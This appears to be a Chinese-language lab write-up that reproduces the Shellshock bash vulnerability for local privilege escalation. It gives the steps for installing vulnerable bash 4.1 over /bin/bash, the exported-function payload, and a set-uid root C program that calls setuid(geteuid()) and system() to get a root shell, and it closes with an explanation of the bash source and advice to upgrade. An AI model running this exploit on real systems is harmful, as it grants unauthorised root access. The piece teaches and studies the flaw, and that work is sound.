要理解这个实验可能需要一些set-uid程序的基础,详见我的上一篇博客
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
以上参考自学术论文
由于bash4.1以后的版本ShellShock都被堵上了,所以为了复现我们要下载bash-4.1替换现有的bash版本。
首先下载
sudo wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
下载下来后解压并进行配置
tar xf bash-4.1.tar.gz
cd bash-4.1
./configure #这一步过程比较长,请等待一会
make && make install
会将其解压到/usr/local/bin文件夹下
然后进行链接
rm /bin/bash
ln -s /usr/local/bin/bash /bin/bash
让我们来看看bash版本
发现bash版本变成了bash-4.1,再来看看是否有漏洞。env命令可以临时修改PATH命令
现在输入
env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
如果输出了vulnerable说明有漏洞,现在将sh链接到bash。
bash定义函数可以用foo(),比如如下:
foo() { echo Hello Linux; }
KEY=foo
VALUE=() { echo Hello Linux; }
现在来看看bash执行
export foo='() { :; }; echo vulnerble'
bash
Linux export 命令用于设置或显示环境变量,在这里bash的环境变量键值变为如下
KEY=foo
VALUE=() { :; }; echo vulnerble
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
有点像之前我做的set-uid实验中的LD_PRELOAD变量,那是事先重编译动态库,替换了本来的动态库,但那里必须是自己用户改变LD_PRELOAD变量才可以,其他用户改变不行。
现在写入Hack代码,代码如下
#include<stdio.h>
int main(){
//这里是让real uid =effective uid,这一句很重要
setuid(geteuid());
//printf("%d\n",geteuid());
//printf("%d\n",getuid());
//system命令这里是想执行shell命令ls -l
system("/bin/ls -l");
}
现在将其设为set-uid程序
sudo su
gcc shock.c -o shock
chmod u+s shock
exit
export foo='() { :; }; echo vulnerable; bash'
./shock
发现已经获得了root权限即hack成功,这里我们的euid为0(root),因为这个文件所有者和所有组均为root,而uid=1000,因为执行的时候我们是普通用户,执行setuid(geteuid())是让uid与euid相等,也就是都等于0。这样才能利用ShellShock漏洞。
现在来看看去掉关键句**setuid(geteuid())**是否能成功,这里euid=0,uid=1000,当然是不相等的。
#include<stdio.h>
int main(){
//这里是让real uid =effective uid,这一句很重要
//setuid(geteuid());
printf("%d\n",geteuid());
printf("%d\n",getuid());
//system命令这里是想执行shell命令ls -l
system("/bin/ls -l");
}
同样将其设为set-uid程序。然后退出到普通用户,也像之前那样执行。
发现这个程序执行了ls -l 命令,没有Hack成功,没有到root权限,环境变量也无效。因为bash没有输出vulnerable。
通过以上可得结论:如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内才有效。
为什么real uid必须等于effective uid呢,这个要从bash源码variables.c中得到解答。(以下为省略版)
void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
/*...*/
/* 如果有export过的函数, 在这里定义 */
/* 无法导入在特权模式下(root下)定义的函数 */
if (privmode == 0 && read_but_dont_execute == 0 &&
STREQN (“() {“, string, 4)) {
[...]
// 这里是shellshock发生的地方
// 传递函数定义 + 运行额外的指令
parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }
就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。
这次实验再次复现了ShellShock漏洞,再次ShellShock成功前提是real uid=effective uid,即一个语句setuid(geteuid()),这样改变环境变量才会有效,setuid函数常用于取消特权,在我们的Hack代码中用到了system函数,再次印证了之前实验的说法system+set-uid程序的危险性,当然这个漏洞已经在bash-4.1后消失了,所以为了安全着想,最好升级bash版本。